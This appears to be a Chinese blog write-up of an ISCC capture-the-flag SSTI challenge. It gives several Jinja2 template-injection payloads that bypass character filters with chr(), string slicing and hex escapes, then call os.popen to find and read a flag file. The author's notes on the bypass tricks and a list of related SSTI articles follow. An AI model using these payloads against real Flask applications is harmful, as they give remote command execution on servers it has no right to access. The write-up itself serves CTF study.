ISCC SSTI

article/2025/10/10 4:16:41

先找参数吧,通过信息搜集,参数是xiaodouni 就是小豆泥的英文,这个是暹罗猫的一个名字吧

然后直接放两个payload的吧
看不懂的可以看一下我以前的文章CTFshow ssti里面讲了思路,这里就不再解释了。

{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell3=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell3)|attr("read")()}}
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

然后后面是我写给我自己看的,有兴趣的也可以看一下。。。

首先是反思吧,通过这个题,发现自己对ssti的理解和应用并不好。。。
然后jinja是python的模板,多想想python,python菜得一匹。。。。

第一个

如果用第一个方法可以发现题目就改了一下,你像构造os,题搞出来的就是so,换了位置也是这样(是题设置的)
在这里插入图片描述
解决

1 用jinja里的reverse过滤器,作用简单说就是反转对象

在这里插入图片描述

在这里插入图片描述

2 用[::-1]

在这里插入图片描述

第二个

就是为什么ssti可以用16进制加密和unicode绕过,感觉就是会解析16进制吧,可能不太准确。。。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

只要没过滤\x,通过这个第二个payload就可以更简单,可以直接用16进制绕过,就不用构造特殊字符了。。。,不爽就直接用16绕,什么laji过滤,请再猛点。。。。

{% set gb="\x5f\x5fglobals\x5f\x5f" %}
{% set bl="\x5f\x5fbuiltins\x5f\x5f" %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["\x63\x68\x72"] %}
{% set shell=("\x66\x69\x6e\x64\x20\x2f\x20\x2d\x6e\x61\x6d\x65\x20\x2a\x66\x6c\x61\x67\x2a")|join%}  #find / -name *flag*
{% set shell4 = "\x63\x61\x74\x20\x2f\x75\x73\x72\x2f\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2e\x74\x78\x74"%}  #cat /usr/flag_is_here.txt
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

第三个

这个其实之前ssti就想过。。。然后问师傅也解决了,然后也没归纳,就一起写这吧。。
在这里插入图片描述
主要是最后这句话,,,,

就是用attr代替点绕过的时候,如果后面是属性可以直接用attr,如果是项目的话,就还要套中括号

4

这个是另一个大师傅的payload,然后我从里面学到的就是活用config|string()|select|stringlipsum|select|string,之前我™以为这三个是一样。。。这™怎么可能一样呢真傻逼。。。主要没去想string是干嘛,就直接去用了,稍微一下也该知道是干嘛的。。。可以看下下面的图

{% set xiahuaxian=(config|string)[14]%}
{% set gb=(xiahuaxian,xiahuaxian,"globals",xiahuaxian,xiahuaxian)|join %}
{% set bt=(xiahuaxian,xiahuaxian,"builtins",xiahuaxian,xiahuaxian)|join %}
{% set ccfhr=(lipsum|attr(gb)|attr("get")(bt))["ch""r"] %}
{% set qie = ccfhr(38)%}
{% set oofss=lipsum|attr(gb)|attr("get")("o""s")%}
{% set dian=(config|string)[798]%}
{% set xing =ccfhr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(oofss|attr("po""pen")(shell4))|attr("read")()}}

这里面就有很多有用的特殊字符像 '_' , '/ ' , '.'(点)
在这里插入图片描述
就看看就行了。。。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


http://chatgpt.dhexx.cn/article/NZ5y64Up.shtml

相关文章

SSTI 学习笔记

PHP SSTI(Twig) 学习文章 进入环境,左上角有flag,hint 都检查看看 flag页面显示ip,hint页面源代码有提示 考虑XFF头或者referer头 测试一下 注:这里不用加上“;” 出来了 python flask ssti 学习文章 原理:因为对输…

浅学Go下的ssti

前言 作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题…

SSTI——java里的ssti

1.Velocity 2.FreeMarker 因为从来没接触过java语言 所以对这些也是基本上一窍不通 这里只简单的提及 不做具体介绍 会找一下题来做 但是没有找到有关java ssti的题目 confusion1 看一下描述 打开题目 没发现什么东西 但是 login register页面显示访问不成功 查看源代码找到…

详解SSTI模板注入

详解SSTI模板注入 SSTI简介常见的模板引擎PHPJAVAPYTHONRUBYGOLANG SSTI产生的原因常用检测工具 TplmapFlask/Jinja模板引擎的相关绕过Flask简介demo漏洞代码基础知识沙盒逃逸Python的内建函数名称空间类继承 寻找Python-SSTI攻击载荷的过程攻击载荷过程常用的目标函数常见的中…

web安全-SSTI模板注入漏洞

一.初识SSTI 1.什么是SSTI注入? SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。 2.SSTI漏洞成因 ​…

BugKu:Simple_SSTI(SSTI模板注入)

目录 1.Simple_SSTI_1 2.Simple_SSTI_2 1.Simple_SSTI_1 点击链接进入,题目说: You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看,也可以右击页面--->“检查” 如图所示,我…

SSTI模板注入绕过(进阶篇)

文章目录 语法变量过滤器总结获取内置方法 以chr为例字符串构造获取键值或下标获取属性 下面的内容均以jinja2为例,根据官方文档来探寻绕过方法 文档链接 默认大家都已经可以利用没有任何过滤的模板注入 语法 官方文档对于模板的语法介绍如下 {% ... %} for State…

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时,则会造成模板注入 比如render_template_string函数,当参数可控时,会造成模板注入 在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一,Simple_SSTI_1 二,Simple_SSTI_2 一,Simple_SSTI_1 首先打开场景: 然后F12查看一下源码: 于是通过百度相关知识寻找线索: 1,SSTI :服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI引发的真正原因:render_template渲染函数是什么:render_template:注入的思想:playload 娓娓道来:魔术对象:用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么? 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载) 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日,科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0,成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架,集成通用的科学数据处理组件和存算环境的一体化管理与调度,各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语,多指庞大而复杂的数据集等,他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源:公开的信息等,如杂志,报纸,文章。大数据生成的其他例子包括购买交易记录&#xf…